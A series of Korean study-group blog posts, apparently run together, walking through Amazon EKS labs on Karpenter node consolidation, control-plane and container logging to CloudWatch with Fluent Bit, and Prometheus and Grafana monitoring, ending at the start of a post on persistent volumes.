# An error occurred (InvalidInput) when calling the CreateServiceLinkedRole operation: Service role name AWSServiceRoleForEC2Spot has been taken in this account, please try a different suffix.
aws iam create-service-linked-role --aws-service-name spot.amazonaws.com || true
# docker logout : Logout of docker to perform an unauthenticated pull against the public ECR
docker logout public.ecr.aws
# helm registry logout
helm registry logout public.ecr.aws
# karpenter 설치
helm install karpenter oci://public.ecr.aws/karpenter/karpenter --version "${KARPENTER_VERSION}" --namespace "${KARPENTER_NAMESPACE}" --create-namespace \
--set "serviceAccount.annotations.eks\.amazonaws\.com/role-arn=${KARPENTER_IAM_ROLE_ARN}" \
--set "settings.clusterName=${CLUSTER_NAME}" \
--set "settings.interruptionQueue=${CLUSTER_NAME}" \
--set controller.resources.requests.cpu=1 \
--set controller.resources.requests.memory=1Gi \
--set controller.resources.limits.cpu=1 \
--set controller.resources.limits.memory=1Gi \
--wait
# 확인
kubectl get-all -n $KARPENTER_NAMESPACE
kubectl get all -n $KARPENTER_NAMESPACE
kubectl get crd | grep karpenter
그 다음에는 Disruption (구 Consolidation)을 테스트해보자. 중단 가능한 노드를 발견하고 필요할 대 교체를 시작하는 것으로, NodePool 또는 EC2NodeClass를 통해 구성 변경 사항을 자동으로 감지하여 필요한 변경 사항을 적용한다. 따라서 EKS를 보다 비용 효율적인 방식으로 사용할 수 있다는 장점을 가져다준다.
다음 예제를 통해 replica를 5개로 두었던 파드에 대해 1개로 변경하면서 최적 노드를 새로 만드는 실습을 수행한다.
# 기존 nodepool 삭제
kubectl delete nodepool,ec2nodeclass default
# v0.34.0 부터 featureGates 에 spotToSpotConsolidation 활성화로 사용 가능
helm upgrade karpenter -n kube-system oci://public.ecr.aws/karpenter/karpenter --reuse-values --set settings.featureGates.spotToSpotConsolidation=true
# Create a Karpenter NodePool and EC2NodeClass
cat <<EOF > nodepool.yaml
apiVersion: karpenter.sh/v1beta1
kind: NodePool
metadata:
name: default
spec:
template:
metadata:
labels:
intent: apps
spec:
nodeClassRef:
name: default
requirements:
- key: karpenter.sh/capacity-type
operator: In
values: ["spot"]
- key: karpenter.k8s.aws/instance-category
operator: In
values: ["c","m","r"]
- key: karpenter.k8s.aws/instance-size
operator: NotIn
values: ["nano","micro","small","medium"]
- key: karpenter.k8s.aws/instance-hypervisor
operator: In
values: ["nitro"]
limits:
cpu: 100
memory: 100Gi
disruption:
consolidationPolicy: WhenUnderutilized
---
apiVersion: karpenter.k8s.aws/v1beta1
kind: EC2NodeClass
metadata:
name: default
spec:
amiFamily: Bottlerocket
subnetSelectorTerms:
- tags:
karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
securityGroupSelectorTerms:
- tags:
karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
role: "KarpenterNodeRole-${CLUSTER_NAME}" # replace with your cluster name
tags:
Name: karpenter.sh/nodepool/default
IntentLabel: "apps"
EOF
kubectl apply -f nodepool.yaml
# Deploy a sample workload
cat <<EOF > inflate.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: inflate
spec:
replicas: 5
selector:
matchLabels:
app: inflate
template:
metadata:
labels:
app: inflate
spec:
nodeSelector:
intent: apps
containers:
- name: inflate
image: public.ecr.aws/eks-distro/kubernetes/pause:3.2
resources:
requests:
cpu: 1
memory: 1.5Gi
EOF
kubectl apply -f inflate.yaml
#
watch -d "kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type"
kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type
# Scale in a sample workload to observe consolidation
# To invoke a Karpenter consolidation event scale, inflate the deployment to 1. Run the following command:
kubectl scale --replicas=1 deployment/inflate
kubectl -n kube-system logs -l app.kubernetes.io/name=karpenter --all-containers=true -f --tail=20
kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type
kubectl get node --label-columns=eks.amazonaws.com/capacityType,karpenter.sh/capacity-type
kubectl get node --label-columns=node.kubernetes.io/instance-type,topology.kubernetes.io/zone
# Use kubectl get nodeclaims to list all objects of type NodeClaim and then describe the NodeClaim Kubernetes resource
# using kubectl get nodeclaim/<claim-name> -o yaml.
# In the NodeClaim .spec.requirements, you can also see the 15 instance types passed to the Amazon EC2 Fleet API:
kubectl get nodeclaims
NAME TYPE ZONE NODE READY AGE
default-w52c4 c6g.large ap-northeast-2d ip-192-168-77-172.ap-northeast-2.compute.internal True 3m8s
kubectl get nodeclaims -o yaml | kubectl neat | yh
....
spec:
nodeClassRef:
name: default
requirements:
- key: karpenter.sh/nodepool
operator: In
values:
- default
- key: node.kubernetes.io/instance-type
operator: In
values:
- c6g.large
- c6gd.large
- c6gn.large
- c6id.large
- c6in.large
- c7g.large
- c7i.large
- m6g.large
- m6gd.large
- m6i.large
- m7g.large
- m7i-flex.large
- m7i.large
- r6g.large
- r7g.large
# 삭제
kubectl delete deployment inflate
kubectl delete nodepool,ec2nodeclass default
잘 실행되었고 아래와 같이 스크린샷을 찍어보았다.
살펴보면 이전 c6gd.large에서 m6g.large로 변경된 것을 확인할 수 있다. 메모리가 2배로 되어 있어 replica를 1개로 합치면 1.5g x 5 = 7.5g가 되고 따라서 메모리 8기가까지 수용 가능한 m6g.large 노드에 최적화시켜 할당한 것으로 분석된다.
본 게시물은 CloudNet@에서 진행하는AEWS(AmazonEKSWorkshopStudy) 스터디에 참여하며 정리한 내용입니다.
0. 실습 환경
먼저 이번 실습을 위해서는 2가지가 전제가 되어야 한다. 물론 (실습을 위한) 도메인을 구입하였다는 가정에서 이야기한다. 본인의 경우 블로그로 사용하는 sdndev.net 도메인으로 실습하려다가 이 도메인에 대한 SSL 인증서와 ACM에서 발급한 인증서와의 충돌이 생겨 실습이 잘 되지 않았다. 이후 sdndev.link 도메인을 새로 구입하여 실습을 진행하던 도중, Route 53에서 sdndev.net 및 sdndev.link 모두 조회가 되어 실습이 잘 안되었다. ACM의 경우에도 사용하지 않는 인증서를 삭제할 필요가 있으며, 하위 도메인 모두를 허용하는 * 인증서가 아닌 것을 사용해도 실습은 가능하나 아래 설명하는 nginx. prometheus. grafana. 도메인을 접속할 때 SSL 오류를 만난다는 점을 유의하도록 하자. 이 부분이 제대로 되지 않을 때는 ALB가 생성될 때 타겟 그룹 바인딩이 생성되지 않거나 80번 포트에 대한 리다이렉션만 생성되고 443번 포트에 대한 리다이렉션이 생성되지 않는 등 여러 오류가 발생할 수 있음을 유의하자.
1. Route 53: 외부 도메인에 대한 Zone 설정
2. Certificate Manager (ACM): 해당 도메인에 대한 하위 도메인 모두를 허용하는 * 인증서
# 이미지 정보 확인
kubectl get pods --all-namespaces -o jsonpath="{.items[*].spec.containers[*].image}" | tr -s '[[:space:]]' '\n' | sort | uniq -c
# eksctl 설치/업데이트 addon 확인
eksctl get addon --cluster $CLUSTER_NAME
# IRSA 확인
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
# EC2 Instance Profile에 IAM Role 정보 확인
cat myeks.yaml | grep managedNodeGroups -A20 | yh
실행 결과를 통해 이미지 정보 뿐만 아니라 eksctl로 설치된 addon에 coredns, aws-ebs-csi-driver, kube-proxy, vpc-cni가 잘 설치되었음을 확인할 수 있었다. aws-load-balancer-controller는 IRSA를 확인하였고 IAM에는 아래 스크린샷과 같이 false로 되어있는 상황이다. 스터디 환경이기에 이렇게 구성하였으나 실제 사용시에는 보안에 염두할 필요가 있겠다.
1. Logging in EKS
먼저 EKS의 경우 CloudWatch에서 Container Insights 메뉴를 통해 기본적인 모니터링 요약 정보 등을 확인할 수 있다. 또한 디폴트로 컨트롤 플레인에 대한 EKS 로깅이 비활성화되어 있는데 이를 활성화시킨 후 수집한 로그를 CloudWatch에서 볼 수도 있다. 후자에 대한 부분을 확인해보았다.
EKS 클러스터를 선택한 후, Observability를 선택한 다음에 하단으로 가면 Cloudwatch 탭을 확인할 수 있다. 컨트롤 플레인 로깅이 off로 되어 있는 것을 확인할 수 있다.
위 AWS 콘솔 화면에서 "Manage logging"을 클릭하여 활성화할 수도 있으나 여기에서는 아래 명령어를 통해 활성화시켜보도록 하자.
# 모든 로깅 활성화
aws eks update-cluster-config --region $AWS_DEFAULT_REGION --name $CLUSTER_NAME \
--logging '{"clusterLogging":[{"types":["api","audit","authenticator","controllerManager","scheduler"],"enabled":true}]}'
# 로그 그룹 확인
aws logs describe-log-groups | jq
# 로그 tail 확인 : aws logs tail help
aws logs tail /aws/eks/$CLUSTER_NAME/cluster | more
# 신규 로그를 바로 출력
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --follow
# 필터 패턴
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --filter-pattern <필터 패턴>
# 로그 스트림이름
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --log-stream-name-prefix <로그 스트림 prefix> --follow
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --log-stream-name-prefix kube-controller-manager --follow
kubectl scale deployment -n kube-system coredns --replicas=1
kubectl scale deployment -n kube-system coredns --replicas=2
# 시간 지정: 1초(s) 1분(m) 1시간(h) 하루(d) 한주(w)
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --since 1h30m
# 짧게 출력
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --since 1h30m --format short
AWS 콘솔에서 Control plane logging이 모두 활성화되어 있는 것을 확인할 수 있다. 또한 로그를 출력하면 내용이 많은데 이 중 kube-controller-manager에 대한 prefix를 설정한 다음 coredns replica수를 1개로 바꾸고 다시 2개로 변경해보면 로그가 필터링되어 나타나는 것을 확인할 수 있다.
이번에는 CloudWatch에서 "Log Insights"를 선택해보다. 로그 그룹에서 myeks 관련된 내용이 나타나는 것을 볼 수 있다. "/aws/eks/myeks/cluster"를 선택한 다음 아래 쿼리들을 실행해보자.
# EKS Control Plane 로깅(CloudWatch Logs) 비활성화
eksctl utils update-cluster-logging --cluster $CLUSTER_NAME --region $AWS_DEFAULT_REGION --disable-types all --approve
# 로그 그룹 삭제
aws logs delete-log-group --log-group-name /aws/eks/$CLUSTER_NAME/cluster
그리고 파드 로깅 관련, nginx 파드를 helm으로 배포해보았다. 인증서 ARN을 지정하지 않아도 사용 가능하다던데, 본인의 경우 인증서 ARN을 지정해야 "myeks-ingress-alb"와 같은 ALB 로드밸런서가 생성이 되니 참고하도록 하자.
# NGINX 웹서버 배포
helm repo add bitnami https://charts.bitnami.com/bitnami
# 사용 리전의 인증서 ARN 확인
CERT_ARN=$(aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text)
echo $CERT_ARN
# 도메인 확인
echo $MyDomain
# 파라미터 파일 생성 : 인증서 ARN 지정하지 않아도 가능! 혹시 https 리스너 설정 안 될 경우 인증서 설정 추가(주석 제거)해서 배포 할 것
cat <<EOT > nginx-values.yaml
service:
type: NodePort
networkPolicy:
enabled: false
ingress:
enabled: true
ingressClassName: alb
hostname: nginx.$MyDomain
pathType: Prefix
path: /
annotations:
alb.ingress.kubernetes.io/scheme: internet-facing
alb.ingress.kubernetes.io/target-type: ip
alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
#alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
alb.ingress.kubernetes.io/success-codes: 200-399
alb.ingress.kubernetes.io/load-balancer-name: $CLUSTER_NAME-ingress-alb
alb.ingress.kubernetes.io/group.name: study
alb.ingress.kubernetes.io/ssl-redirect: '443'
EOT
cat nginx-values.yaml | yh
# 배포
helm install nginx bitnami/nginx --version 15.14.0 -f nginx-values.yaml
# 확인
kubectl get ingress,deploy,svc,ep nginx
kubectl get targetgroupbindings # ALB TG 확인
# 접속 주소 확인 및 접속
echo -e "Nginx WebServer URL = https://nginx.$MyDomain"
curl -s https://nginx.$MyDomain
kubectl logs deploy/nginx -f
## 외부에서는 접속이 잘되나, myeks EC2에서 url 접속이 잘 되지 않을 경우 : 이전 aws DNS cache 영향(추정)
dig +short nginx.$MyDomain
dig +short nginx.$MyDomain @192.168.0.2
dig +short nginx.$MyDomain @1.1.1.1
dig +short nginx.$MyDomain @8.8.8.8
cat /etc/resolv.conf
sed -i "s/^nameserver 192.168.0.2/nameserver 1.1.1.1/g" /etc/resolv.conf
cat /etc/resolv.conf
dig +short nginx.$MyDomain
dig +short nginx.$MyDomain @8.8.8.8
dig +short nginx.$MyDomain @192.168.0.2
curl -s https://nginx.$MyDomain
----
# 반복 접속
while true; do curl -s https://nginx.$MyDomain -I | head -n 1; date; sleep 1; done
# (참고) 삭제 시
helm uninstall nginx
이러한 컨테이너 로그 메시지는 해당 파드에서 access 및 error 로그를 이미 stdout 및 stderr로 리다이렉션했기에 확인이 가능하다는 점을 참고하자.
2. Container Insights metrics in Amazon CloudWatch & Fluent Bit (Logs)
Fluent Bit 컨테이너를 데몬셋으로 동작시키고, 아래 3가지 종류 로그를 CloudWatch Logs로 전송시켜보자.
/aws/containerinsights/Cluster_Name/application : 로그 소스(All log files in /var/log/containers), 각 컨테이너/파드 로그
/aws/containerinsights/Cluster_Name/host : 로그 소스(Logs from /var/log/dmesg, /var/log/secure, and /var/log/messages), 노드(호스트) 로그
/aws/containerinsights/Cluster_Name/dataplane : 로그 소스(/var/log/journal for kubelet.service, kubeproxy.service, and docker.service), 쿠버네티스 데이터플레인 로그
먼저 로그 위치를 확인해보자.
# Application 로그 위치 확인
#ssh ec2-user@$N1 sudo tree /var/log/containers
#ssh ec2-user@$N1 sudo ls -al /var/log/containers
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo tree /var/log/containers; echo; done
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo ls -al /var/log/containers; echo; done
# 개별 파드 application 로그 확인 : 아래 각자 디렉터리 경로는 다름
ssh ec2-user@$N2 sudo tail -f /var/log/pods/default_nginx-7f7b5d655f-5sb7x_bb8303ff-5e2c-4b7e-98b4-e9d6695a840d/nginx/0.log
# Host 로그 위치 확인
#ssh ec2-user@$N1 sudo tree /var/log/ -L 1
#ssh ec2-user@$N1 sudo ls -la /var/log/
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo tree /var/log/ -L 1; echo; done
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo ls -la /var/log/; echo; done
# Host 로그 확인
#ssh ec2-user@$N1 sudo tail /var/log/dmesg
#ssh ec2-user@$N1 sudo tail /var/log/secure
#ssh ec2-user@$N1 sudo tail /var/log/messages
for log in dmesg secure messages; do echo ">>>>> Node1: /var/log/$log <<<<<"; ssh ec2-user@$N1 sudo tail /var/log/$log; echo; done
for log in dmesg secure messages; do echo ">>>>> Node2: /var/log/$log <<<<<"; ssh ec2-user@$N2 sudo tail /var/log/$log; echo; done
for log in dmesg secure messages; do echo ">>>>> Node3: /var/log/$log <<<<<"; ssh ec2-user@$N3 sudo tail /var/log/$log; echo; done
# dataplane 로그 위치 확인
#ssh ec2-user@$N1 sudo tree /var/log/journal -L 1
#ssh ec2-user@$N1 sudo ls -la /var/log/journal
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo tree /var/log/journal -L 1; echo; done
# 저널 로그 확인 - 링크
ssh ec2-user@$N3 sudo journalctl -x -n 200
ssh ec2-user@$N3 sudo journalctl -f
Application 로그 확인 결과
호스트 로그 확인 결과
저널 로그 확인 결과
그러면 이제 CloudWatch Container observability를 설치해보자.
# 설치
aws eks create-addon --cluster-name $CLUSTER_NAME --addon-name amazon-cloudwatch-observability
aws eks list-addons --cluster-name myeks --output table
# 설치 확인
kubectl get-all -n amazon-cloudwatch
kubectl get ds,pod,cm,sa,amazoncloudwatchagent -n amazon-cloudwatch
kubectl describe clusterrole cloudwatch-agent-role amazon-cloudwatch-observability-manager-role # 클러스터롤 확인
kubectl describe clusterrolebindings cloudwatch-agent-role-binding amazon-cloudwatch-observability-manager-rolebinding # 클러스터롤 바인딩 확인
kubectl -n amazon-cloudwatch logs -l app.kubernetes.io/component=amazon-cloudwatch-agent -f # 파드 로그 확인
kubectl -n amazon-cloudwatch logs -l k8s-app=fluent-bit -f # 파드 로그 확인
# cloudwatch-agent 설정 확인
kubectl describe cm cloudwatch-agent-agent -n amazon-cloudwatch
#Fluent bit 파드 수집하는 방법 : Volumes에 HostPath라 나와있다. (보안상 조금 더 안전한 방법이 있을까?)
kubectl describe -n amazon-cloudwatch ds cloudwatch-agent
...
Volumes:
...
rootfs:
Type: HostPath (bare host directory volume)
Path: /
HostPathType:
...
ssh ec2-user@$N1 sudo tree /dev/disk
...
# Fluent Bit 로그 INPUT/FILTER/OUTPUT 설정 확인 - 링크
## 설정 부분 구성 : application-log.conf , dataplane-log.conf , fluent-bit.conf , host-log.conf , parsers.conf
kubectl describe cm fluent-bit-config -n amazon-cloudwatch
...
application-log.conf:
----
[INPUT]
Name tail
Tag application.*
Exclude_Path /var/log/containers/cloudwatch-agent*, /var/log/containers/fluent-bit*, /var/log/containers/aws-node*, /var/log/containers/kube-proxy*
Path /var/log/containers/*.log
multiline.parser docker, cri
DB /var/fluent-bit/state/flb_container.db
Mem_Buf_Limit 50MB
Skip_Long_Lines On
Refresh_Interval 10
Rotate_Wait 30
storage.type filesystem
Read_from_Head ${READ_FROM_HEAD}
[FILTER]
Name kubernetes
Match application.*
Kube_URL https://kubernetes.default.svc:443
Kube_Tag_Prefix application.var.log.containers.
Merge_Log On
Merge_Log_Key log_processed
K8S-Logging.Parser On
K8S-Logging.Exclude Off
Labels Off
Annotations Off
Use_Kubelet On
Kubelet_Port 10250
Buffer_Size 0
[OUTPUT]
Name cloudwatch_logs
Match application.*
region ${AWS_REGION}
log_group_name /aws/containerinsights/${CLUSTER_NAME}/application
log_stream_prefix ${HOST_NAME}-
auto_create_group true
extra_user_agent container-insights
...
# Fluent Bit 파드가 수집하는 방법 : Volumes에 HostPath를 살펴보자!
kubectl describe -n amazon-cloudwatch ds fluent-bit
...
ssh ec2-user@$N1 sudo tree /var/log
...
# (참고) 삭제
aws eks delete-addon --cluster-name $CLUSTER_NAME --addon-name amazon-cloudwatch-observability
실행 결과 잘 되었고 이 때 로그 수집을 하는 방식이 Volume에 HostPath 방식으로 되어 있다. 이 부분이 보안상 얼마나 안전한지 생각해 볼 필요는 있겠다.
그러면 이제부터는 로그를 발생시킨 후 CloudWatch에서 확인해보도록 하자. ApacheBench를 실행한 후 CloudWatch에서 Log group -> /aws/containerinsights/myeks/application -> 로그 스트림에서 nginx로 필터링한 후 선택 -> ApacheBench로 필터링하여 확인해보자.
# 부하 발생
curl -s https://nginx.$MyDomain
yum install -y httpd
ab -c 500 -n 30000 https://nginx.$MyDomain/
# 파드 직접 로그 모니터링
kubectl logs deploy/nginx -f
또한 로그 인사이트에서 다음 항목에 대해 쿼리를 실행하여 확인해보도록 하자.
# Application log errors by container name : 컨테이너 이름별 애플리케이션 로그 오류
# 로그 그룹 선택 : /aws/containerinsights/<CLUSTER_NAME>/application
stats count() as error_count by kubernetes.container_name
| filter stream="stderr"
| sort error_count desc
# All Kubelet errors/warning logs for for a given EKS worker node
# 로그 그룹 선택 : /aws/containerinsights/<CLUSTER_NAME>/dataplane
fields @timestamp, @message, ec2_instance_id
| filter message =~ /.*(E|W)[0-9]{4}.*/ and ec2_instance_id="<YOUR INSTANCE ID>"
| sort @timestamp desc
# Kubelet errors/warning count per EKS worker node in the cluster
# 로그 그룹 선택 : /aws/containerinsights/<CLUSTER_NAME>/dataplane
fields @timestamp, @message, ec2_instance_id
| filter message =~ /.*(E|W)[0-9]{4}.*/
| stats count(*) as error_count by ec2_instance_id
# performance 로그 그룹
# 로그 그룹 선택 : /aws/containerinsights/<CLUSTER_NAME>/performance
# 노드별 평균 CPU 사용률
STATS avg(node_cpu_utilization) as avg_node_cpu_utilization by NodeName
| SORT avg_node_cpu_utilization DESC
# 파드별 재시작(restart) 카운트
STATS avg(number_of_container_restarts) as avg_number_of_container_restarts by PodName
| SORT avg_number_of_container_restarts DESC
# 요청된 Pod와 실행 중인 Pod 간 비교
fields @timestamp, @message
| sort @timestamp desc
| filter Type="Pod"
| stats min(pod_number_of_containers) as requested, min(pod_number_of_running_containers) as running, ceil(avg(pod_number_of_containers-pod_number_of_running_containers)) as pods_missing by kubernetes.pod_name
| sort pods_missing desc
# 클러스터 노드 실패 횟수
stats avg(cluster_failed_node_count) as CountOfNodeFailures
| filter Type="Cluster"
| sort @timestamp desc
# 파드별 CPU 사용량
stats pct(container_cpu_usage_total, 50) as CPUPercMedian by kubernetes.container_name
| filter Type="Container"
| sort CPUPercMedian desc
3. Metrics-server & kwatch
Kubelet으로부터 수집한 리소스 메트릭을 수집하고 집계하는 클러스터 애드온 구성 요소인 Metrics-server을 확인해보도록 하자.
# 배포
kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml
# 메트릭 서버 확인 : 메트릭은 15초 간격으로 cAdvisor를 통하여 가져옴
kubectl get pod -n kube-system -l k8s-app=metrics-server
kubectl api-resources | grep metrics
kubectl get apiservices |egrep '(AVAILABLE|metrics)'
# 노드 메트릭 확인
kubectl top node
# 파드 메트릭 확인
kubectl top pod -A
kubectl top pod -n kube-system --sort-by='cpu'
kubectl top pod -n kube-system --sort-by='memory'
그리고 kwatch는 모니터링하면서 notification을 슬랙 discord 등으로 보내는 역할을 수행한다. 아래 코드로 알람이 나오는 부분을 스크린샷과 같이 이전에 확인할 수 있었다.
# 터미널1
watch kubectl get pod
# 잘못된 이미지 정보의 파드 배포
kubectl apply -f https://raw.githubusercontent.com/junghoon2/kube-books/main/ch05/nginx-error-pod.yml
kubectl get events -w
# 이미지 업데이트 방안2 : set 사용 - iamge 등 일부 리소스 값을 변경 가능!
kubectl set
kubectl set image pod nginx-19 nginx-pod=nginx:1.19
# 삭제
kubectl delete pod nginx-19
프로메테우스 Web에서 Status -> Targets로 접속한 다음 "aws-cni"로 job을 검색해보면 잘 나오는 것을 확인할 수 있다.
프로메테우스는 모니터링 대상이 되는 서비스에 대해 일반적으로 자체 웹 서버의 /metrics 엔드포인트 경로에 다양한 메트릭 정보를 노출한다. 이후 프로메테우스는 해당 경로에 http get 방식으로 메트릭 정보를 가져와 TSDB 형식으로 저장한다.
# 아래 처럼 프로메테우스가 각 서비스의 9100 접속하여 메트릭 정보를 수집
kubectl get node -owide
kubectl get svc,ep -n monitoring kube-prometheus-stack-prometheus-node-exporter
# 노드의 9100번의 /metrics 접속 시 다양한 메트릭 정보를 확인할수 있음 : 마스터 이외에 워커노드도 확인 가능
ssh ec2-user@$N1 curl -s localhost:9100/metrics
또한 프로메테우스 설정을 확인해보도록 하자. 웹 페이지에서 Status -> Configuration으로 접속하면 확인할 수 있다. 몇 가지 값들이 보이는 데 이 중 global 설정, "node-exporter" 관련 설정, kubernetes_sd_configs 설정을 확인해보도록 하자.
global > scrape_interval: 15s # 메트릭 가져오는(scrape) 주기 global > scrape_timeout: 10s # 메트릭 가져오는(scrape) 타임아웃 global > evaluation_interval: 15s # alert 보낼지 말지 판단하는 주기 kubernetes_sd_configs: # 서비스 디스커버리(SD) 방식을 이용하고, 파드의 엔드포인트 List 자동 반영 kubernetes_sd_configs > role > names: - monitoring # 서비스 엔드포인트가 속한 네임 스페이스 이름을 지정, 서비스 네임스페이스가 속한 포트 번호를 구분하여 메트릭 정보를 가져옴
그리고 Target에 대해 실제 curl로 접속하여 어떤 메트릭을 수집하는지 확인해보자. 다음은 kube-prometheus-stack-kube-proxy의 첫 번째 노드 및 kube-prometheus-stack-coredns 첫 번째 노드에 접속해서 얻은 결과이다.
이전에 살펴본 nginx 파드에 대해 서비스 모니터링 방식으로 nginx 모니터링 대상을 등록하여 metric 설정을 추가해보자.
# 모니터링
watch -d "kubectl get pod; echo; kubectl get servicemonitors -n monitoring"
# 파라미터 파일 생성 : 서비스 모니터 방식으로 nginx 모니터링 대상을 등록하고, export 는 9113 포트 사용
cat <<EOT > ~/nginx_metric-values.yaml
metrics:
enabled: true
service:
port: 9113
serviceMonitor:
enabled: true
namespace: monitoring
interval: 10s
EOT
# 배포
helm upgrade nginx bitnami/nginx --reuse-values -f nginx_metric-values.yaml
# 확인
kubectl get pod,svc,ep
kubectl get servicemonitor -n monitoring nginx
kubectl get servicemonitor -n monitoring nginx -o json | jq
# 메트릭 확인 >> 프로메테우스에서 Target 확인
NGINXIP=$(kubectl get pod -l app.kubernetes.io/instance=nginx -o jsonpath={.items[0].status.podIP})
curl -s http://$NGINXIP:9113/metrics # nginx_connections_active Y 값 확인해보기
curl -s http://$NGINXIP:9113/metrics | grep ^nginx_connections_active
# nginx 파드내에 컨테이너 갯수 확인
kubectl get pod -l app.kubernetes.io/instance=nginx
kubectl describe pod -l app.kubernetes.io/instance=nginx
# 접속 주소 확인 및 접속
echo -e "Nginx WebServer URL = https://nginx.$MyDomain"
curl -s https://nginx.$MyDomain
kubectl logs deploy/nginx -f
# 반복 접속
while true; do curl -s https://nginx.$MyDomain -I | head -n 1; date; sleep 1; done
프로메테우스 target이 추가된 것을 확인할 수 있고
Configuration에서도 변경된 결과를 확인할 수 있다.
5. Grafana
그라파나는 TSDB 데이터를 시각화하며, 다양한 데이터 형식을 지원한다. 본 실습 환경에서는 데이터 소스를 프로메테우스로 사용한다. 접속 정보를 확인한 후 실제 웹 페이지에 접속하여 확인해보도록 하자.
# 그라파나 버전 확인
kubectl exec -it -n monitoring service/kube-prometheus-stack-grafana -- grafana-cli --version
grafana cli version 10.4.0
# ingress 확인
kubectl get ingress -n monitoring kube-prometheus-stack-grafana
kubectl describe ingress -n monitoring kube-prometheus-stack-grafana
# ingress 도메인으로 웹 접속 : 기본 계정 - admin / prom-operator
echo -e "Grafana Web URL = https://grafana.$MyDomain"
웹에 접속하여 Connections > Data sources로 접속해 보면 Prometheus에 대한 정보가 있는 것을 확인할 수 있다.
공식 대시보드를 가져와보자. 먼저 Dashboard → New → Import → 15757 력입력 후 Load ⇒ 데이터소스(Prometheus 선택) 후 Import 클릭해보자.
한글로된 대시보드를 볼 수도 있다. Dashboard → New → Import → 17900 입력 후 Load ⇒ 데이터소스(Prometheus 선택) 후 Import 클릭와 같이 해보자.
그런데 CPU 점유율, 메모리 점유율, 디스크 사용률 (%)에 "No data"라고 나온다. 이 부분을 수정해보자. 각각 패널에 대해 Edit 버튼을 클릭한 다음, 아래 쿼리로 바꾸어 테스트를 해본다. 잘 되면 Save 및 Apply를 하여 반영하자.
# CPU - CPU 점유율
sum by (instance) (irate(node_cpu_seconds_total{mode!~"guest.*|idle|iowait", instance="$instance"}[5m]))
# 수정 : 메모리 점유율
(node_memory_MemTotal_bytes{instance="$instance"}-node_memory_MemAvailable_bytes{instance="$instance"})/node_memory_MemTotal_bytes{instance="$instance"}
# 수정 : 디스크 사용률
sum(node_filesystem_size_bytes{instance="$instance"} - node_filesystem_avail_bytes{instance="$instance"}) by (node) / sum(node_filesystem_size_bytes{instance="$instance"}) by (node)
이제 잘 나온다 :)
뿐만 아니라 다음 몇 가지 대시보드 ID들을 추가로 import하여 확인해보자.
[Node Exporter Full] 1860
[Node Exporter for Prometheus Dashboard based on 11074] 15172
kube-state-metrics-v2 : Dashboard ID copied! (13332)
본 게시물은 CloudNet@에서 진행하는AEWS(AmazonEKSWorkshopStudy) 스터디에 참여하며 정리한 내용입니다.
0. 실습 환경
이번 실습에서는 명령어 콘솔로 원클릭 배포를 해보고자 한다. 다음 명령어를 사용하여 실습 환경을 준비하였다. 그 전에 CloudFormation에 해당하는 eks-oneclick2.yaml 파일이 이전 EKS Networking 실습때 사용한 스크립트와 어떤 차이가 있는지 간략히 살펴보자. diff 명령을 통해 이전 실습 파일인 eks-oneclick.yaml과 이번 실습 파일인 eks-oneclick2.yaml 파일을 비교해보았다. "diff A B"와 같이 실행하였을 때 > 로 나오면 B 파일에 추가된 내용을 이야기하며 < 로 나오면 A 파일에 추가된 내용이라고 알려준다. 아래 결과를 통해 살펴볼 때, 이번 스토리지 실습을 위해 Amazon Elastic File System (EFS) 사용을 위한 보안 그룹 및 마운트 대상을 지정하고, bastion에 해당하는 EC2 VM에 amazon-efs-utils 및 df-pv 도구를 미리 설치 및 이전 EKS Networking 실습때 확인하였던 AWS Load Balancer Controller를 위한 IRSA 생성까지를 더 준비하는 것으로 확인된다.
파드 내부 데이터는 파드가 정지가 되면 모두 삭제가 된다. 이유는 컨테이너가 구동될 때 임시 파일 시스템을 사용하기 때문과 동시에 개별 파드는 모두 상태가 없는 (Stateless) 애플리케이션이기 때문이다. 따라서 상태가 있는 (Stateful) 애플리케이션을 구축하기 위해서는 데이터 보존이 필요하며 쿠버네티스 환경에서는 이를 퍼시스턴트 볼륨 (Persistent Volume, PV)라는 개념으로 부르고 있다.
정확하게는 PV와 PVC 2개의 개념으로 나뉜다. PV는 볼륨 입장에서 물리 저장소 공간을 바라본다고 할 수 있고, PVC (Persistent Volume Claim)은 파드에서 PV를 사용한다고 클레임/주장할 수 있도록 하는 개념이라고 할 수 있겠다. 이를 스토리지 클래스라는 체계적인 단위로 프로비저닝을 하여 관리하는 방식으로 쿠버네티스에서는 권장하고 있다. 또한 퍼시스턴트 볼륨 사용이 끝났을 때 해당 볼륨은 어떻게 초기화할 것인지 별도로 설정할 수 있는데, 쿠버네티스에서는 이를 Reclaim Policy라고 부른다. Reclaim Policy에는 크게 Retain(보존), Delete(삭제, 즉 EBS 볼륨도 삭제됨) 방식이 있다고 한다.
